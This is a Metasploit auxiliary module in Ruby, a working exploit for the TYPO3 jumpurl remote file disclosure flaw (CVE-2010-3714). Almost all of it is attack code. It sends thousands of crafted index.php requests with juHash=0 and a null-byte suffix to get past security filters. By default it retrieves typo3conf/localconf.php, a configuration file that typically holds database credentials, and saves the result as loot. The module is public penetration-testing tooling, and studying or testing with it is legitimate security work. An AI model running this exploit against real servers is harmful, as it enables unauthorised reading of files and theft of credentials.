##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name' => 'TYPO3 sa-2010-020 Remote File Disclosure',
      'Description' => %q{
        This module exploits a flaw in the way the TYPO3 jumpurl feature matches hashes.
        Due to this flaw a Remote File Disclosure is possible by matching the juhash of 0.
        This flaw can be used to read any file that the web server user account has access to view.
      },
      'References' => [
        ['CVE', '2010-3714'],
        ['URL', 'http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020'],
        ['URL', 'http://web.archive.org/web/20180126053019/http://gregorkopf.de/slides_berlinsides_2010.pdf'],
      ],
      'Author' => [
        'Chris John Riley',
        'Gregor Kopf', # Original Discovery
      ],
      'License' => MSF_LICENSE,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS],
        'Reliability' => []
      }
    )

    register_options(
      [
        OptString.new('URI', [true, 'TYPO3 Path', '/']),
        OptString.new('RFILE', [true, 'The remote file to download', 'typo3conf/localconf.php']),
        OptInt.new('MAX_TRIES', [true, 'Maximum tries', 10000]),
      ]
    )
  end

  def run
    # Add padding to bypass TYPO3 security filters
    #
    # Null byte fixed in PHP 5.3.4
    #

    case datastore['RFILE']
    when nil
      # Nothing
    when /localconf\.php$/i
      jumpurl = "#{datastore['RFILE']}%00/."
    when %r{^\.\.(/|\\)}i
      print_error('Directory traversal detected... you might want to start that with a /.. or \\..')
    else
      jumpurl = datastore['RFILE'].to_s
    end

    print_status("Establishing a connection to #{rhost}:#{rport}")
    print_status("Trying to retrieve #{datastore['RFILE']}")

    location_base = Rex::Text.rand_text_numeric(1)
    counter = 0

    queue = []
    print_status('Creating request queue')

    1.upto(datastore['MAX_TRIES']) do
      counter += 1
      location_data = "#{location_base}::#{counter}"
      queue << "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{location_data}&juHash=0"
      if ((counter.to_f / datastore['MAX_TRIES'].to_f) * 100.0).to_s =~ /(25|50|75|100).0$/ # Display percentage complete every 25%
        percentage = (counter.to_f / datastore['MAX_TRIES'].to_f) * 100
        print_status("Queue #{percentage.to_i}% compiled - [#{counter} / #{datastore['MAX_TRIES']}]")
      end
    end

    print_status('Queue compiled. Beginning requests... grab a coffee!')

    success = false
    counter = 0
    queue.each do |check|
      counter += 1
      check = check.sub('//', '/') # Prevent double // from appearing in uri
      begin
        file = send_request_raw({
          'uri'	=> check,
          'method'	=> 'GET',
          'headers'	=>
            {
              'Connection' => 'Close'
            }
        }, 25)
      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
        vprint_error(e.message)
        break
      rescue ::Timeout::Error, ::Errno::EPIPE => e
        print_error(e.message)
        break
      end

      if file.nil?
        print_error('Connection timed out')
        break
      end

      if ((counter.to_f / queue.length.to_f) * 100.0).to_s =~ /\d0.0$/ # Display percentage complete every 10%
        percentage = (counter.to_f / queue.length.to_f) * 100.0
        print_status("Requests #{percentage.to_i}% complete - [#{counter} / #{queue.length}]")
      end

      # file can be nil
      case file.headers['Content-Type']
      when 'text/html'
        case file.body
        when 'jumpurl Secure: "' + datastore['RFILE'] + '" was not a valid file!'
          print_error("File #{datastore['RFILE']} does not exist.")
          break
        when /jumpurl Secure: locationData/i
          print_error("File #{datastore['RFILE']} is not accessible.")
          break
        when 'jumpurl Secure: The requested file was not allowed to be accessed through jumpUrl (path or file not allowed)!'
          print_error("File #{datastore['RFILE']} is not allowed to be accessed through jumpUrl.")
          break
        end
      when 'application/octet-stream'
        success = true
        addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
        print_good('Found matching hash')
        print_good('Writing local file ' + File.basename(datastore['RFILE'].downcase) + ' to loot')
        store_loot('typo3_' + File.basename(datastore['RFILE'].downcase), 'text/xml', addr, file.body, 'typo3_' + File.basename(datastore['RFILE'].downcase), 'Typo3_sa_2010_020')
        break
      end
    end

    print_error("#{rhost}:#{rport} [Typo3-SA-2010-020] Failed to retrieve file #{datastore['RFILE']}") unless success
  end
end
